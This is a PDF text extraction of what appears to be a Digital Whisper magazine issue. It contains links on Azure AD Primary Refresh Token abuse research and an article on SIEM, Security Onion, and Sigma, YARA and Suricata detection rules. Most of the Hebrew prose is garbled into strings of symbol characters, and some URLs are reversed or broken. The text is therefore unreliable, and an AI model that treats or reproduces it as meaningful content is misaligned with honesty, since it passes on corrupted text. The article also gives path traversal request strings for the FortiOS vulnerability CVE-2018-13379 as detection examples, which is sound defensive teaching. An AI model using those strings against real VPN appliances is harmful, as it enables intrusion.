token-refresh-primary-us/entra/identity/devices/concept-https://learn.microsoft.com/en π ˢ˧˴˦ˮˬˣ˵ˣˡˢ 

˪˷ ˦˲ˣ˯ˣ˶˵˧ˬ ˪˰ PRTΦ 

D.pdf-https://troopers.de/downloads/troopers22/TR22_BreakingAzure π ˢ˞˴˶ˢ ˢ˪ˣ˰ˬ ˪˰ ˡˣ˰ ˸ˣ˲˵˸ˬ 

˫ˣ˥˸˟ ˪˷ PRT / AzureAD DevicesΦ 

whisperer-/lsahttps://github.com/EvanMcBroom - ˡˣˬ˰ sπWiki ˪˷ ˧˪˩ˢ ˫˧ˢˡˬˢ LSA Whisperer ˷ˠˡ˟ ˪˰ 

˸ˣ˵˷ˬˬ˸ˢ ˪ˣˬ CloudAPΦ 

  

https://aadinternals.com/post/prt/
https://aadinternals.com/post/prt/
https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/
https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/
https://dirkjanm.io/digging-further-into-the-primary-refresh-token/
https://dirkjanm.io/digging-further-into-the-primary-refresh-token/
https://posts.specterops.io/requesting-azure-ad-request-tokens
https://posts.specterops.io/requesting-azure-ad-request-tokens
https://learn.microsoft.com/en-us/entra/identity/devices/concept-primary-refresh-token
https://learn.microsoft.com/en-us/entra/identity/devices/concept-primary-refresh-token
https://troopers.de/downloads/troopers22/TR22_BreakingAzure-D.pdf
https://troopers.de/downloads/troopers22/TR22_BreakingAzure-D.pdf
https://github.com/EvanMcBroom/lsa-whisperer
https://github.com/EvanMcBroom/lsa-whisperer


 
 

  π    
.DigitalWhisper.co.ilwww 

˭ˣ˧˪ˠ 163, x˧˪˧ нлнп  рр 
 

˪˴˟ ˣˠ˯ ˪- ˸˶ˣ˷˵˸ ˶ˣ˦˧ˮ ˪˰ 

˭ˣ˪ˣ˟ˤ ˢ˪˧ˢ ˸˞ˬ 

 

ˢˬˡ˵ˢ 

 

˸ˣ˩˶˰ˬ ˶ˣ˦˧ˮ ˭s ˫˪ˣ˰ ˞˪˲ˣˬ Φ˭ˢ ˸ˣ˪˧˥˸ˬ ˸ˬ˧˯˥˟ ˸ˣ˟ˣ˸˩ ˟πfirewall ˶ˣ˦˧ˮˣ ˫˧˟˧˩˶ ˫˧˶˟˥˸ˬˢ ˸˷˶˪ 

˸˧ˮˣˠ˶˞ˢ ˟πIDS ˣ˧˶˴ˣˬˣ Σ˸ˣ˩˧˷ˬˬ ˸ˣˬ˶ˣ˲˦˪˲˟ SIEM ˸ˣ˪˪˩ˣ˷ˬ ˶˸ˣ˧ ˸ˣ˶˷˲˞ˬˢ ˸ˬ˶ˤˢ ˫˧ˠˣ˪ ˢ˲˧˴˶ 

˸˟˧˸˩ˣ ˫˧˵ˣ˥ - Splunk ΣQradar IBM ΣChronicle Google ˸ˣ˶ˬˠˮˣ ˟ΦΦΦ ˱ˣ˯ˮ˧˞ Φ 

˸ˣ˩˶˰ˬ ˶ˣ˦˧ˮˢ ˸ˣ˧ˮˣˠ˶˞ˢ ˸ˣ˧˯˞˪˵ˢ ˸ˣ˪˧˩ˬ ˭ˣˣˠˬ ˪˷ ˸ˣ˧˴˵ˮˣ˲ Σ˫˞˸ˢ˟ ˭ˣˣˠˬ˪ ˫˧ˠˣ˪ Υ˪˩ ˟˧˩˶ ˥ˣˣˡˬ 

˸˩˶˰ˬ˪ sπSIEM ˸˞ ˧ˠˣ˪ˢ ˫ˣ˪˷ Σ˸˩˶˰ˬˢ ˸ˡˠ˞ˬ ˫˸ˣ˞ ˸˶˯˶˲ˬˣ ˫˸ˣ˞ ύ˸˰˴˟ˬ Ϧ˫ˣˠ˶˸ Ϧ˪˷ sπraw 

log ˢ˲˷˪ ˸ˮ˸˧ˮˢ ˡˣ˟˧˰˪ ˸ˬ˧˧˵˸ˬˢ ˸˩˶˰ˬ˟ Σˢ˪˧˩ˬˢ ˸ˣˡ˷ ˭˸˧ˮ˷ ˸ˣˮ˟˪ ˫ˢ˧˪˰ ˫˧˵ˣ˥ ˫˧˷ˣ˲˧˥ˣ ό

˦˯˧˪ˮ˞ˢˣ ˢ˴˵˟ ˢˮˣ˟ ˧˵ˣ˥ ˶ˣ˦˧ˮ ˪ˣˬ ˫˧ˠˣ˪ˢ ˳˧˲˵ˬˣ ˫˧˰ˣ˶˧˞ ˫˧ˡˣ˷˥ ˣ˲˴ˮ˷ ˫˧ˠˣ˪˟ Φ˪˷ˬ˪ - ˸ˣˮˣ˧˯˧ˮ ˢ˷˧ˠ 

˸ˣ˟ˣ˸˩˪ ˞ˢ˸ˣ˧ˮˣˠ˶ ˫˧˦˶ˣ˲˟ ˫˧˟˶ ˭ˬˤˣ ˸˧˯˥˧ ˶˴˵ ˫˧˪ˣ˪˰ ˡ˧˰ˢ˪ ˪˰ ˭ˣ˧˯˧ˮ ˢ˵˧˶˯ ˪˷ ˭ˣˠ˶˞ˢ Φ 

˶ˬ˞ˬ˟ ˢˤ ˷ˣˠ˲ˮ ˸˩˶˰ˬ ˶ˣ˦˧ˮ ˢˮ˧˞˷ ˸˵˲˸˯ˬ ˸˪˟˵˟ ˰ˡ˧ˬ ˫˧ˠˣ˪ˢˬ ˡ˟˪˟ Σ˞˪˞ ˸ˮ˧˧ˮˣ˰ˬ ˪˟˵˪ ˸˞ 

˪˪˩ ˸˶ˣ˷˵˸ˢ ˸˶˟ˣ˰ˢ ˭ˣˠ˶˞˟ Φ˞˧ˢ ˸˰˴˟ˬ ˸˞ˤ ˸ˣ˰˴ˬ˞˟ ˸ˡ˧˩˪ ˸ˬ˶ˤˢˣ pcapπ˫˧ ˪˷ ˸˶ˣ˷˵˸ ˢ˴ˣ˥ˢ 

ˢˬ˧ˮ˲ˣΦ ˸ˣ˰˴ˬ˞˟ ˫˧˪˩ ˫˧˰ˬ˦ˣˬˢ ˢ˟ ˞˧ˢ ˸˶˷˲˞ˬ ˰˴˟˪ ˫˧˷ˣ˲˧˥ ˫˧˟˥˶ˮ Σ˫˴˰˟ˣ ˵˧ˬ˰ˢ˪ ˸˞ ˸ˣ˪ˣ˩˧ 

˶˵˥ˬˢ ˸ˬ˶ˣ ˶ˣ˦˧ˮˢ ˪˰ ˸˷˶ˢ ˸˧ˮˣˠ˶˞ˢ Φ˪˩ ˸˞ˤ ˡˣ˰ˣ Σ˶˷˞˩ ˶˟ˣˡˬ ˸˩˶˰ˬ˟ ˡˣ˵π˥ˣ˸˲ ˸˧ˬˮ˧˥Φ 

ˣ˶˧˩ˢ ˸˞ Security OnionΦ 

 

˪˧˥˸ˮ  ˢ˪˥˸ˢˢˬ- ?˸ˡ˟ˣ˰ ˸˧˯˞˪˵ ˶ˣ˦˧ˮ ˸˩˶˰ˬ ˨˧˞ 

˵ˣ˯˧˰ˢ ˧˶˵˧˰ˢ ˪˷ ˰ˬ˸ˣ˩˶ SIEM ύSecurity Incident and Event Management ό˭ˢ ˱ˣ˯˧˞ ˫˧ˠˣ˪ˢ ˪˪˩ˬ 

˫˧˟˧˩˶ˢ ˫˧˶˴ˣˬˢˣ ˸˷˶˟ Φ˞˧ˢ ˸˶ˠˣ˞ ˸˞ ˫˧ˠˣ˪ˢ ˶˷˞ ˫˧ˬ˶ˤˣˬ ˢ˧˪˞ ˢ˶ˣ˴˟ ˸ˤ˩ˣ˶ˬ Σ˪˰ˣ ˧˲ ˢ˶ˣ˴˸ˢ ˪˷ 

˪˩ ˠˣ˪ ˞˧ˢ ˸˶˯˶˲ˬ ύparsingϦ Σό˸ˬˠ˶˸ˬ ΣϦˣ˸ˣ˞ Σ˫˧˩˶˰˪ ˶˷˞ ˞˧ˢ ˰ˡ˸ ˸ˣ˷˰˪ ˫ˢ˟ ˷ˣˬ˧˷ Φ 

˪˷ˬ˪ Σ˧˟˧˩˶ CheckPoint Firewall - ˶˟ˣˡˬ ˫˧˟˧˩˶˟ ˫˰ ˢ˶ˣ˴˸ ˸ˬ˧ˣ˯ˬ ˸˧ˮ˧˧˲ˣ˞ˢ ˧˶˴ˣˬ˪ CheckPoint Φ

˶ˡ˯ ˢ˟˧˸˩ˢ ˪˷ ˠˣ˪ˢ Σ˫˧˩˶˰ˢ ˶˷˞ ˞ˣˢ ˠ˧˴ˬ Σ˸˞ˤˣ ˭˟ˣˬ˩ ˫˞˸ˢ˟ ˠˣ˯˪ ˠˣ˪ˢ ˷˵ˣ˟ˬˢ Φ 
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˶˥˞˪ ˨˧˪ˢ˸ ˶ˣ˯˶˲ˢ Σ˶˥˞˪ˣ ˣˮ˞˷ ˫˧˪˧˥˸ˬ ˪˟˵˪ ˫˧ˠˣ˪ ˣ˶˟˰˷ ˸˞ ˫ˣˠ˶˸ˢ ˢˤˢ Σ˭˸˧ˮ ˪˧˥˸ˢ˪ ˷˲˥˪ 

Detections Φ˸˞ˤ ˰˴˟ˮ ˸ˣ˰˴ˬ˞˟ ˸ˣ˸˪˧˞˷ ˸˩˶˰ˬ˪ ˢ˶ˣ˴˸˟ ˞˧ˢ˷ ˢ˶˧˩ˬ - ˟ˣ˶˪ ˶˟ˣˡˬ ˸ˣ˸˪˧˞˷˟ ˫˰ 

syntax )˶˧˟˥˸ό ˧l ˢˬˣˡ Σ˨˞ ˫˰ ˫˧˧ˣˮ˧˷ ˫˧˪˵ Φ˫˧˸˰˪ ˸˶ˣ˴˸ ˸ˣ˸˪˧˞˷ˢ ˢˬˣˡ ˶˧˟˥˸˪ Yara x˞ Sigma Φ 

ˢˬ ˢ˶ˣ˵ ˫˞ ˭˧˞ ˣˮ˪ ˫˧ˠˣ˪ ˫˧˶˯˶ˣ˲ˬ Κˣ˞ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ ˪˞˷˸˪ ˸˞ ˸˩˶˰ˬˢ ˪˰ sπraw log Κˣ˞ 

ˬ˷˫˧ˮ˧˧ˮˣ˰ ˰˴˟˪ ˷ˣ˲˧˥ ˧˪˪˩ ˞˪˪ ˸ˣˡ˵ˬ˸ˢ ˶˦ˬ˶˲˟ Κˣ˞ˣ˟ ˶˟ˡˮ ˪˰ regexΦ 

Regex ϦύRegular ExpressionόϦ Φˢˬ ˢˮˣˣ˩ˢ Κ 

˶˟ˣˡˬ ˶˧˟˥˸˟ ˶˷˲˞ˬˢ ˣˮ˪ ˷˲˥˪ ˫˧˩˶˰ ˣˬ˩ ˫ˢ˷ ˫˧˞˴ˬˮ ˢ˶ˣ˴˸˟ ˸˧˪˪˩ˢ ˫ˢ˪˷ Σ˸ˣˤˣ˶˥ˬ˩ Φˣˮ˞ 

˫˧˞˴ˣ˧ ˢ˥ˮˢˬ ˢ˟ ˪˩ ˣ˸ ˟˧˩˶ˬ ˸ˤˣ˶˥ˬ Σ˟˷˥ˬˢˣ ˰ˡˣ˧ ˞ˣ˶˵˪ ˣ˸ˣ˞ ˨˩ Φ˩˪ ˭Σˢ˶ˣ˴˸ˢ ˸˧˪˪˩ˢ ˸˶˷˲˞ˬ ˣˮ˪ 

˰˴˟˪ ˸ˣ˪ˣ˰˲ ˪˰ ˧˲ ˢ˥ˮˢˢ ˣˤˢ Φ˪˷ˬ˪ Σ˷ˣ˲˧˥ ˸ˣ˰˴ˬ˞˟ ˫˧˧˶ˠˣ˯ Υ˷ˣ˲˧˥ˢ [a-h] ˶˷˲˞˧ ˣˮ˪ ˸ˣ˞˶˪ ˸˞ ˪˪˩ 

˸ˣ˧˸ˣ˞ˢ ˸ˣ˞ˢˬ a ˡ˰ˣ ˸ˣ˞ˢ h ˸ˤˣ˶˥ˬ˟ ˣˮ˪˷; Ϧigklmnopabcdefgh ΦϦ 

˸˶ˣ˴˸ Regex ˸˶˷˲˞ˬ ˣˮ˪ ˰˴˟˪ ˷˲ˣ˥ ˰ˣ˴˧˟˟ ˸ˣ˪ˣ˰˲ ˪˰ ˸ˣˤˣ˶˥ˬ Σ˨˩˟ˣ ˸˧˷ˣˬ˧˷ ˡˣ˞ˬ ˸ˣ˲˷˟ ˸ˣˮ˩˸ Σ

˰ˣ˴˧˟ ˸ˣ˸˪˧˞˷ Σ˸ˣˡˣ˵˲ˣ cli Φ 

ˤ˞ ˷˧ ˣˮ˪ ˫˧ˠˣ˪ ˫˧˶˯˶ˣ˲ˬ Σ˫ˠˣ ˸ˣ˶˷˲˞ ˷˲˥˪ ˸ˣ˪˵˟ ˟πraw log Φ˸˰˩ ˷˧ ˣˮ˪ ˶ˠ˞ˬ ˫˧ˠˣ˪ ˭ˣˠ˶˞˟ ˪˩ˣˮ˷ 

˷˲˥˪ x˟ ˸ˣ˪ˣ˰˲ ˸ˣˡˣ˷˥ Σ˭˧˧˲˞˪ ˸ˣ˧ˣ˪˧˰˲ Σ˶ˣ˴˧˪ˣ ˫˧˵ˣ˥ ˣ˰˧˶˸˧˷ ˣˮ˪ ˟˧˧˪˟ ˪˰ ˸ˣ˪˧˰˲ ˢˡˣ˷˥ ˪˰ ˧˲ 

ˢ˶ˣ˴˸ˢ ˣˮ˥ˮ˞˷ ˣˮ˶ˡˠˢ Φˣ˞ˣ˟ ˪˧˥˸ˮ ˡˣ˷˥˪Η 

˥˵˧ˮ ˢˬˠˣˡ ˢ˦ˣ˷˲ Φ˱˵ˣ˸ Σ˨˶ˣ˴˪ ˸˪˧˥˸ ˸ˣ˪˧˰˲ˢ ˣ˪˷ ˪˴˞ ˱˵˸ˮˢ Σ˫˧˸˰˪ ˪˴ˮ˧ ˢ˷˪ˣ˥ ˟˧˩˶˟ x˞ ˶˴ˣˬ 

˭˴˥ˣˬˢ ˸˷˶˪ x˟ ˢ˷ˣ˰ ˱˵˸ˮˢ ˷ˣˬ˧˷ Φ˥˵˧ˮ ˢˬˠˣˡ˪ ˸˞ CVE-2018-13379 - ˢ˷˪ˣ˥ ˶˴ˣˬ˟ FortiOS ˶˷˞ 

˸˶˷˲˞ˬ ˱˵ˣ˸˪ ˰˴˟˪ Path traversal ˪˰ ˵˷ˬˬ ˟˧˩˶ˢ Φ˭˩˪ ˰ˡˮ ˶˷˞˩˷ ˫˧˶˦ˬ˶˲ˢΥ 

¶ 'lang=/../../' 

¶ κϥdev/cmdb/sslvpn_websessionϥ 

ˣ˧ˢ˧ ˟πuri ˱˵ˣ˸ˢ˷ ˥˪ˣ˷ ˪˞ ˸˶˷ sπweb ˣˮ˞˷ ˫˧˪˟˵ˬ ˫˧ˠˣ˪ ˣˮˬˬ Σˢ˞˶ˮ˩ ˶˟ˣˡˬ˷ ˢ˷˵˟˟ ˢˮ˧˞˷ 

˸˧ˬ˧˦˧ˠ˪ ˨˩ˣ ˳ˣ˲˵˸ ˢ˰˶˸ˢ ˶˷˞ ˶˧ˢˤ˸ ˣˮ˸ˣ˞ ˷ˣˢ˷˧ˬ ˢ˯ˮˬ ˪˴ˮ˪ ˢ˷˪ˣ˥ Φ 

˫˧ˬ˧˧˵ ˶˲˯ˬ ˫˧˦ˬ˶ˣ˲ ˫˧˧ˤ˩˶ˬ ˫ˢ˟ ˢ˷˰ˮ ˷ˣˬ˧˷ ˫ˣ˧˩ ˶ˣ˟˰ ˶ˣ˦˧ˮ Σ˪ˣ˞˷˸ ˸˟˧˸˩ˣ ˫˧˵ˣ˥ ˸ˣ˩˶˰ˬ˟ 

˰ˡ˧ˬˢ ΥYara ΣSigma ΣπxSnort Φ 

ˡˣ˰˟ ˧˵ˣ˥ Yara ˫˧ˬ˧˞˸ˬ ˶˸ˣ˧ ˶˵˥ˬ˪ ˫˧˴˟˵ ˫˧˧˶˞ˮ˧˟ ˸ˣ˵ˤˣˮˣ Σ˧˵ˣ˥ sigma ˫˧ˬ˧˞˸ˬ ˶˸ˣ˧ ˶ˣ˦˧ˮ˪ 

˸ˣ˩˶˰ˬ˟ sπsiem ˶ˣ˦˧ˮ˪ˣ ˣ˪˟˫˧ˠ ύmetadata ˪˷ ˸˶ˣ˷˵˸ˢ ˡ˟˪˟ Σό˧˵ˣ˥ˣ snort ˫˧ˬ˧˞˸ˬ ˶˸ˣ˧ ˶˵˥ˬ˪ 

˸˶ˣ˷˵˸ Φ˫˰ ˸˞ˤ Σˣˮ˞ ˵ˣ˯˰ˮ ˶˵˧˰˟ ˟πSuricata ˸˟˪˷ˬˢ ˸˞ ˫˸˷ˣ˪˷ ˢˬ˧˞˸ˬˣ ˶˵˧˰˟ ˶˵˥ˬ˪ ˧ˣˣ˸ˬ 

ˢ˲˧˵˸ ˥˲ˮ˟ ˸˶ˣ˷˵˸ ˪ˣˡˠ Φ 

˪˰ ˧˵ˣ˥ YARA ˢ˟˸˩ ˧˪˷ ˭˟˶ ˢ ˭ˣ˧˪ˠ˟-моо ˭˧ˤˠˬˢ ˪˷. ˪˰ ˧˵ˣ˥ SNORT xπYARA ˟˸˩ ˪˦ ˭˟ ˭˷ˣ˷ ˣ˶˸˞˟Φ 

https://owasp.org/www-community/attacks/Path_Traversal
https://www.digitalwhisper.co.il/files/Zines/0x85/DW133-3-YARA.pdf
https://shushan.co.il/%D7%9B%D7%AA%D7%99%D7%91%D7%AA-%D7%97%D7%95%D7%A7%D7%99-yara-%D7%95-ips-%D7%91%D7%A1%D7%99%D7%A1%D7%99-%D7%95%D7%94%D7%A1%D7%91%D7%A8-%D7%9E%D7%94%D7%9D-%D7%97%D7%95%D7%A7%D7%99-yara-%D7%95-ips-snort
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˫˸ˬˣ˰˪ Σ˭˪ˢ˪ ˢˮ˟ˬ ˵ˣ˥ Sigma Υ 

¶ Title 

¶ Status, like experimental or tested 

¶ Description of what it detects 

¶ Author name 

¶ Date 

¶ ID 

¶ License, assuming the author shares the rule 

¶ Level 

¶ Data or log source 

¶ Set of conditions 

¶ Tag, including MITRE ATT&CK mapping 

 ˭˸˧ˮ ˸ˣ˞˶˪ ˧˩ ˶˟ˣˡˬ ˢˮ˟ˬ˟ ˢˬˣˡ ˡˣ˞ˬ ˵ˣ˥˪ YARA Σ˨˞ ˦˰ˬ ˶˲ˣ˷ˬ ˶˸ˣ˧ ˫˞˸ˣˬˣ ˶˸ˣ˧ ˸ˣ˩˶˰ˬ˪ ˶ˣ˦˧ˮ 

ύˢ˧˧ˮ˲ˢ ˶ˣ˵ˬ˪ ˧˦ˮˣˣ˪˶ ˫˧ˠˣ˪˟ Σˢˬ˞˸ˢ ˭ˣ˧˶˦˧˶˵˪ ˸˦˧˷ˬ MITRE ATTACK Σ˭˧˧ˡ˰ˣ ˪˧˩ˬ ˸˞ ˦˯ ˫˧˞ˮ˸ˢ 

˷ˣ˶ˡˢ ˸ˣˬ˧˧˵˸ˢ˪ ˵ˣ˥ˢ Σˣˬ˩ ˟πYARA Φό 

 

˧˵ˣ˥ Suricata 

˧˵ˣ˥ ˢ˦˵˧˶ˣ˯ ˫˧ˮˣ˷ ˢˮ˟ˬ˟ ˫ˢ˪˷ ˶˞˷ˬ ˫˧˦ˬ˶ˣ˲ˢ Σ˫˧ˡ˵ˬ˸ˬˣ ˷ˣ˲˧˥˟ ˶ˣ˦˧ˮˣ ˸ˮˣˬ˸˟ ˸˶ˣ˷˵˸ˢ 

ˢˬ˴˰Υ 

alert  http $HOME_NET any - > $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in 

URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; 

fast_pattern; classtype:bad - unknown; sid:123; rev:1;)  

¶ ˫ˣˡ˞˟ - ˢ˪ˣ˰˲ˢ ˵ˣ˥ˢ˷ ˰˴˟ˬ ύalertό 

¶ ˵ˣ˶˧˟ - sπheader ˵ˣ˥˪  

¶ ˪ˣ˥˩˟ - ˸ˣ˧ˬˠˣˡˢ ˨ˣ˸ˬ ˸˶ˣ˷˵˸ˢ ˢˬ˴˰ ˭ˢ˧˪˰ ˞˟ ˵ˣ˥ˢ ˰˧˶˸ˢ˪ 

˸ˣˬ˧˧˵ ˶˲˯ˬ ˸ˣ˞ˬˠˣˡ ˸ˣ˪ˣ˰˲˪ )actions( ˭ˢ˧˪˰ ˭˸˧ˮ ˟ˣ˸˩˪ ˫˧˵ˣ˥ Σ˸˞ˤˣ ˫˞˸ˢ˟ ˸ˬ˶˪ ˢ˞˷˶ˢˢ ˷˧˷ 

ˣˮ˪ ˪˰ ˸˩˶˰ˬˢ Υ˶ˣ˦˧ˮ ˸˴˲˵ˢˣ ˸ˣ˰˶˸ˢ ˡ˟˪˟ Σ˶ˣ˦˧ˮ ˰ˣ˴˧˟ˣ ˸ˣ˪ˣ˰˲ ˰ˮˬ ύ˪˷ˬ˪ drop ˢ˦˵˲˪ ˢˬ˴˰ Σό

ˢˬˣˡ˩ˣΦ 

˶˵˥ˬ pcap ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˭˧˧ˮ˰ˬ ˡˣ˞ˬ Σ˞˪ ˵˶ ˪˪ˠ˟ ˸ˣˬ˧˸˥ ˸˶ˣ˷˵˸ˢ ˭˸˧ˮ˷ ˞ˣ˴ˬ˪ ˢ˦˞ˡ˟ ˪˷ ˢ˦˵˲ˢ Σ

˞˪˞ ˫ˠ ˪˪ˠ˟ ˷--pcap˫˧ ˫˧˪˧˩ˬ ˫˩ˣ˸˟ ˫˧˴˟˵ ˫˧˶˟˰ˣˬ˷ ˸˶ˣ˷˵˸˟ ˭˧˟ ˧ˮ˷ ˫˧ˬ˶ˣˠˢ Φ˨˶ˡ ˸ˮ˩ˣ˸ 
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wireshark Σ˪˷ˬ˪ Σ˭˸˧ˮ ˰˴˟˪ extract ˪˩˪ ˳˟ˣ˵ ˶˟˰˷ ˫˶ˣˠˬ ˶ˣ˵ˬˢ ˪˞ ˡ˰˧ˢ ˨˲ˢ˪ˣ; ˢ˞˧˩ˣ ˦ˬ˶ˣ˲˪ 

IDSκIPS ˯˯ˣ˟ˬ ˶˵˥ˬ ˸˶ˣ˷˵˸ Σ˫ˠ ˢ˦˵˧˶ˣ˯ ˸ˮ˸ˣˮ ˸˞ ˸ˣ˶˷˲˞ˢ ˰˴˟˪ extract ˪˷ ˪˩ ˫˧˴˟˵ˢ ˵˯˧ˡ˪ Φ 

˫˴˰˟ Σ˨˩˟ ˢ˦˵˧˶ˣ˯ˢ ˢ˪˧˲˩ˬ ˸˞ ˥ˣ˩ ˶ˣ˦˧ˮˢ ˢ˪˷ Υ˞˧ˢ ˸˶˷˲˞ˬ ˣˮ˪ ˰˴˟˪ ˶˵˥ˬ Σ˶ˣ˦˧ˮ ˧ˣˢ˧ˤˣ ˪˰ ˯˧˯˟ 

˸ˣˬ˧˸˥ ˸˶ˣ˷˵˸ˢ Σ˨˞ ˫ˠ ˸˶ˤˣ˰ ˣˮ˪ ˪ˡ˟˪ ˸˞ ˫˧˴˟˵ˢ ˫˧˶˟ˣ˰˷ ˸˶ˣ˷˵˸˟ ˢˬ˴˰ ˪˰ ˸ˮˬ ˶ˣ˵˥˪ ˫˸ˣ˞ 

ˡ˶˲ˮ˟ ύ˭˟ˣˬ˩ˣ ˪˩ˢ˷ ˪ˣ˪˩ - ˫˧˴˟˵ˢ sxπhashπ˫˧ ˫ˢ˪˷ Φό 

˪˩ ˸˞ˤ ˡˣ˰ˣ ˵˶ ˪˰ ˢ˴˵ ˠ˪ˤˬˢ; ˦˵˧˶ˣ˯˪ sˢ˟˶ˢ ˸ˣ˧˴˵ˮˣ˲ ˸ˣˮ˧˧ˮ˰ˬ Σˢ˴˧˪ˬˬ ˯ˮ˩˧ˢ˪ ˢ˧˴˦ˮˬˣ˵ˣˡ˪ ˭˧˧˰˪ˣ Φ 

 

˪˰ ˧˲ ˢ˶ˬ˞ˢ ˢ˵˧˸˰ˢ ,˶˸ˣˬ ˸ˣ˩˟˪ ˢ˰˟˶˞ˬ ˫˧˶˟ˡ :ˢˮˣ˸˥ ,ˢˡ˧˪ ,˸ˣˣˬ ,

˪˴˟ˣ 

˧˶˥˞ ˣˮ˟˥˶ˢ˷ ˸˴˵ ˪˰ ˸ˣ˩˶˰ˬ ˶ˣ˦˧ˮ ˸ˣ˧˯˞˪˵ Σ˸ˣ˦˧˷ ˸˟˧˸˩ ˫˧˵ˣ˥ˢ ˭ˢ˟ ˯˧˯˟ˢˣ ˶ˣ˦˧ˮ˪ ˧˸ˣ˩˧˞ Σ˰˧ˠˢ 

˭ˬˤˢ ˶˟ˡˮ˷ ˪˰ Security OnionΦ 

Security Onion ˞˧ˢ ˸˩˶˰ˬ Open Source Σ˸˧ˬˮ˧˥ ˭˟ˣˬ˩ xϦ˸˧˞˯˵ˣˮ˧˪Ϧ ύ˸˯˯ˣ˟ˬ ˸˩˶˰ˬ ˢ˪˰˲ˢ ˪˵˶ˣ˞ 

˯˵ˣˮ˧˪ Φό˞˧ˢ ˸˶˷˲˞ˬ ˣˮ˪ ˸ˣ˲˴˪ ˸˶ˣ˷˵˸˟ ˫˧ˮˣ˸ˮˢ ˸˶˟ˣ˰ˢ ˭ˣˠ˶˞˟ ύ˫˞˸ˢ˟ ˫˧˟˧˩˶˪ ˫˧˥ˣˣˡˬˢ ˢ˪ ό˞˪ 

˸˶ˣ˴˸˟ ˫˧ˠˣ˪ˢ ˡ˟˪˟ ˣˬ˩ ˸ˣ˩˶˰ˬ˟ ˶ˣ˦˧ˮ ˸ˣ˶˥˞ Σ˞˪˞ ˸˶ˣ˷˵˸˟ ˢˬ˴˰ - ˢ˦˞ˡ˟ ˶˟ˣ˰ˢ ˵˲˟ˢ˦ ˭˸˧ˮˣ 

˥ˣ˸˧ˮ˪Φ 

ˢ˶˰ˢΥ ˸˩˶˰ˬˢ ˞˪ ˢ˞˟ ˱˧˪˥ˢ˪ ˸ˣ˩˶˰ˬ ˸ˣˬ˧˧˵ ˧˸ˣ˶˧˷ˣ SIEMξSOC x˞ EDR Σ˞˪˞ ˢ˸˶˦ˬ ˸˸˪ ˦˟ˬ 

˱˯ˣˮ ˪˰ ˟˴ˬ ˸˥˦˟˞ ˰ˡ˧ˬˢ ˪˷ ˸˷˶ˢΦ 

 

˭˰ˬ˪ ˢˡˣ˟˰ ˫˰ ˸˩˶˰ˬˢ ˷˧ ˡˣ˟˰˪ ˫˰ ˧˪˩ TAP s˭˧ˤ˞ˬ ˪˩˪ ˢ˶ˣ˟˰˸ˢ ˸˶˟ˣ˰˷ ˣ˩˶ˡ ˸˷˶˟ Σ˵˶˲ˬˣ ˢ˸ˣ˞ 

- Ϧ˶˯˶˲ˬ Ϧˢ˸ˣ˞ Φˢ˶ˣ˟˰˸ˢ ˢ˰˧ˠˬ ˬ˪˸˩˶˰ ˞˧ˢ˷˩ ˸˵˶ˣ˲ˬ ˸˶ˡˣ˯ˬˣ Σ˨˩ˣ ˭˸˧ˮ ˰˴˟˪ ˢ˧˪˰ ˫˧˷ˣ˲˧˥ Σ

˸ˣ˸˪˧˞˷ xπThreat Hunting ˢ˶ˣ˴˟ ˢ˟ˣ˦ Φ 
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˸˩˶˰ˬˢ ˸ˡ˟ˣ˰ ˡ˴˪ ˶˲˯ˬ ˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ Σ˸ˣ˩˶˰ˬ ˫˧˶ˣ˯ˮ˯ˣ Υ 

]˥˵˪ˮ ˢ˧˴˦ˮˬˣ˵ˣˡˢˬ ˪˷ Security Onionώ 

˪˰ ˸ˮˬ ˶˟˥˸ˢ˪ ˪ˣ˯ˮˣ˵˪ ˪ˣˢ˧ˮˢ ˶˟˥˸ˮ ˨˶ˡ Putty ˟πSSH ˸˟ˣ˸˩˪ ˪˷ ˸˩˶˰ˬˢ ˣˮ˧ˮ˟˷ Σ˪˰ˣ ˸ˮˬ ˶ˣ˵˥˪ 

˷ˬˬ ˸˞ ˫˧˰ˣ˶˧˞ˢ ˫˧˰˧ˠˬˢ ˸˩˶˰ˬ˪ ˯ˮ˩˧ˮ ˨˶ˡ ˭˲ˡ˲ˡˢ ˪πSOCΦ 

 

˸˩˶˰ˬ˟ ˢ˷˰ˮ ˷ˣˬ˧˷ ˟πDockerπ˫˧ ˫˧˶ˮ˧˧˦ˮˣ˵ˣ Σ˫˧˶˷˲˞ˬˢ ˣˮ˪ ˪˰˧˧˪ ˸˞ ˫˧˟˞˷ˬˢ ˫ˢ˟ ˢ˷˰ˮ ˷ˣˬ˧˷ 

˸˩˶˰ˬ˟ Φ˫˧˶ˮ˧˧˦ˮˣ˵ˢ ˫˴˰˟ ˫˧ˣˣˢˬ Ϧ˸ˣˮˣ˩ˬ ˸ˣ˧˪˞ˣ˦˶˧ˣ Ϧ˸ˣ˵˧ˤ˥ˬˢ ˸ˣ˶˧˷ ˡ˥˞ ˪˩˟ ˫˰˲ Σ˨˩˟ˣ ˭˸˧ˮ ˸˸˪ 

˪˩˪ ˸ˣ˶˧˷ ˸˞ ˢ˟˧˟˯ˢ ˸˧˪ˬ˧˦˲ˣ˞ˢ ˣ˶ˣ˟˰ ˪˰˧˧˪ˣ ˸˞ ˷ˣˬ˧˷ˢ Φ˱˯ˣˮ˟ ˶˟ˡˢ ˢˣˣˢˬ ˢ˴˧˴˥ ˭˧˟ ˫˧˸ˣ˶˧˷ˢ 

˫˧ˮˣ˷ˢ ˸˩˶˰ˬ˟ ˶ˤˣ˰ˣ ˫ˠ ˸˧˸˥˦˟˞ - ˪ˣˡ˧˟ ˡ˥˞ˢ ˭ˬ ˧ˮ˷ˢ ˨˩ˣ ˸ˣ˶˧˷ ˪˲ˣˮ˷ x˞ ˱˵˸ˮ ˞˪ ˰˧˲˷ˬ ˪˰ ˪˪˩ 

˸˩˶˰ˬˢ Φ 

 

